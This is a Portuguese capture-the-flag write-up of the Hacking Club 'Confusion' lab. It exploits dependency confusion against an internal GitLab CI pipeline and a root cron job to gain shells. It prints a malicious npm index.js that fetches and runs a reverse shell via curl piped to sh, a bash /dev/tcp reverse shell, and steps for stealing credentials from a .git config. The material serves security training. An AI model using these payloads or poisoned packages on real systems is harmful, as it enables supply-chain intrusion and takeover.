Você está na página 1de 20

Write-Up - Confusion

Write-up confusion

Sobre Hacking Club


Hacking Club é uma plataforma incrível para aprender segurança cibernética e é um recurso incrível se você
for novo e não sabe por onde começar. Eles têm essas salas que são basicamente máquinas vulneráveis que
você pode implantar e praticar suas habilidades.
A melhor parte do Hacking Club é que ele é muito prático. Se você é novo em segurança, experimente.

Varredura nmap:
Precisamos saber quais serviços estão sendo executados nos bastidores e quais portas estão abertas. Então,
vamos usar uma ferramenta chamada nmap.

Ports:

Porta 22 - SSH

Porta 80 - HTTP

Ao acessar a porta 80 somos redirecionado para confusion.uhclabs.

Write-Up - Confusion 1
Então teremos que mapear o endereço IP com o nome de domínio, adicionando uma linha no arquivo host,
conforme ilustrado na imagem a seguir.

Acessando novamente, temos a página de boas vindas do nginx.

Write-Up - Confusion 2
Agora faremos um fuzzing de diretórios e arquivos.

Write-Up - Confusion 3
Após fazer fuzzing usando outras wordlists, não obtive sucesso.

Enumeração de subdmínios:

Encontramos um subdomínio, vamos adicionar no /etc/hosts.

Acessando o novo host:

Write-Up - Confusion 4
O GitLab é um gerenciador de repositório de software baseado em git, com suporte a Wiki, gerenciamento de
tarefas e CI/CD. GitLab é similar ao GitHub, mas o GitLab permite que os desenvolvedores armazenem o
código em seus próprios servidores, ao invés de servidores de terceiros.

Iremos então, criar uma conta em → Register now

Write-Up - Confusion 5
Agora iremos em → Explore public projects → Administration/internallib

Write-Up - Confusion 6
Write-Up - Confusion 7
Aqui podemos ver que a cada 3 minutos ele executa uma nova pipeline.

Uma pipeline é um grupo de jobs que são executados em estágios. Todos os jobs em um estágio são
executados em paralelo (se houver Runners suficientes), e se todos eles tiverem sucesso, a pipeline move
para o próximo estágio. Se um dos jobs falharem, o próximo estágio não será executado (geralmente).

Dependency Confusion

Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies
The Story of a Novel Supply Chain Attack. "Dependency Confusion: How I Hacked Into Apple, Microsoft
and Dozens of Other Companies" is published by Alex Birsan.

https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610

Recomendo vocês a lerem esse artigo para entender como que funciona a vulnerabilidade, antes de seguir em
frente.

Se você for aluno do curso https://lp.webhacking.com.br/, tem uma vídeo aula explicando na prática e com
detalhes como funciona essa vulnerabilidade, recomendo bastante.

Let’s Go

Agora iremos baixar a lib pra nossa máquina para criar um script malicioso que nós dará uma reverse shell.

Write-Up - Confusion 8
Depois de ter baixado, iremos descompactar.

Agora iremos editar a index.js para colocar nossa payload maliciosa.

Payload:

Como a máquina tem acesso a internet, utilizaremos esse site pra gerar uma payload de reverse shell em
várias linguagens diferentes.

https://reverse-shell.sh/

Exemplo:

Write-Up - Confusion 9
A nossa index.js ficará assim:

const { exec } = require('child_process');

exports.command = function(){
console.log("vert16x");
exec('/bin/bash -c "curl https://reverse-shell.sh/<IP-VPN>:443|sh"');
return "deu bom";
}

Agora iremos modificar a versão da lib para uma versão superior, assim quando ele executar a nova pipeline,
irá pegar a nossa lib maliciosa, pois está com a versão mais (atualizada-superior).

Write-Up - Confusion 10
Ouvinte do netcat:

Agora iremos publicar a nossa lib no repositório do npm, é necessário criar uma conta para publicar, como eu
já tinha publicado antes, ele não pediu meu login, mas quando você for publicar pela a primeira vez, será
necessário logar primeiro.

Após alguns minutos, podemos ver em Jobs que ele executou a nossa lib maliciosa.

Write-Up - Confusion 11
E temos shell =)

Shell tty
Atualizando shell simples para TTYs totalmente interativos.

python -c "import pty;pty.spawn('/bin/bash')"

Ctrl+Z

stty raw -echo;fg

Enter

export TERM=xterm

Write-Up - Confusion 12
Indo em /opt/scripts/internallib/.git temos um arquivo → config, lendo esse arquivo temos as credenciais do
usuário internal.

Irei logar no gitlab com essa nova credencial.

Write-Up - Confusion 13
Indo em settings → CI/CD → variables, podemos encontrar a nossa primeira flag =).

Password reuse

Write-Up - Confusion 14
Podemos utilizar a senha encontrada no .git para trocar de usuário.

Escalação lateral, gitlab-runner → internal

Indo na home do usuário internal, podemos ler a nossa segunda flag =)

Privesc
Cron Jobs

Em /opt/scripts temos um script do usuário root - > local_check.sh

Write-Up - Confusion 15
Olhando o conteúdo desse arquivo, podemos ver que ele está executando o seguinte comando:

#!/bin/bash

# Testing if local registry is working!

cd /root
test_name=$(shuf -i 1-100000000 -n 1)

mkdir $test_name
cd $test_name

npm init -y

npm install uhclabs_local_check --registry http://0.0.0.0:4873/ <----

cd node_modules/uhclabs_local_check/

npm run start

cd /tmp/
rm -rf /root/$test_name/

A parte interessante pra nós é essa:

npm install uhclabs_local_check --registry http://0.0.0.0:4873/

Aqui podemos escalar privilégios se ele estiver executando uma cron, assim podemos subir uma lib maliciosa
para o registry local, então iremos confirmar se realmente existe uma cron rodando, com a ferramenta pspy.

Write-Up - Confusion 16
Releases · DominicBreuker/pspy
Small update: pspy will now print the version when it starts up. It will also kill itself if
unrecoverable inotify errors are discovered rather than running indefinitely. A few small
changes: Fixing errno 22 errors: I suspect the errors mentioned in issue #3 are due to
https://github.com/DominicBreuker/pspy/releases

Depois de ter baixado na sua máquina e ter enviado para o servidor, é hora de executa-ló.

Aqui podemos ver claramente que realmente existe uma cron, e está executando o script local_check.sh a
cada 3 minutos.

Write-Up - Confusion 17
Sabendo disso, agora iremos baixar a lib uhclabs_local_check para modifica-lá.

Depois de ter baixado a lib, podemos ver que em scripts ele executa os seguintes comandos:

"scripts":{
"start": "ifconfig; ip; whoami; id; echo OK"
}

Então, iremos substituir esses comandos em start e colocar uma payload de reverse shell.

Write-Up - Confusion 18
/bin/bash -c 'bash -i >& /dev/tcp/<IP-VPN>/80 0>&1'

Não podemos esquecer de mudar a versão para uma superior, assim ele irá instalar a versão mais atualizada,
que no caso será a nossa lib maliciosa. =)

Ouvinte do netcat para receber a conexão:

How to Set Up a Private NPM Registry Locally


For this article, we will be using verdaccio to setup local NPM registry. Verdaccio is the
lightweight opensource private NPM proxy registry with an active open source community.
We can use other npm registries, but we choose verdaccio because of the following reasons
https://blog.bitsrc.io/how-to-set-up-a-private-npm-registry-locally-1065e6790796

Agora criaremos um novo usuário no registry local, para enviar nossa lib, podemos criar um usuário anônimo.

Write-Up - Confusion 19
E após ter publicado nossa lib maliciosa, esperaremos por alguns minutinhos e receberemos a shell de root,
agora é só ler a última flag =)

Write-Up - Confusion 20

Você também pode gostar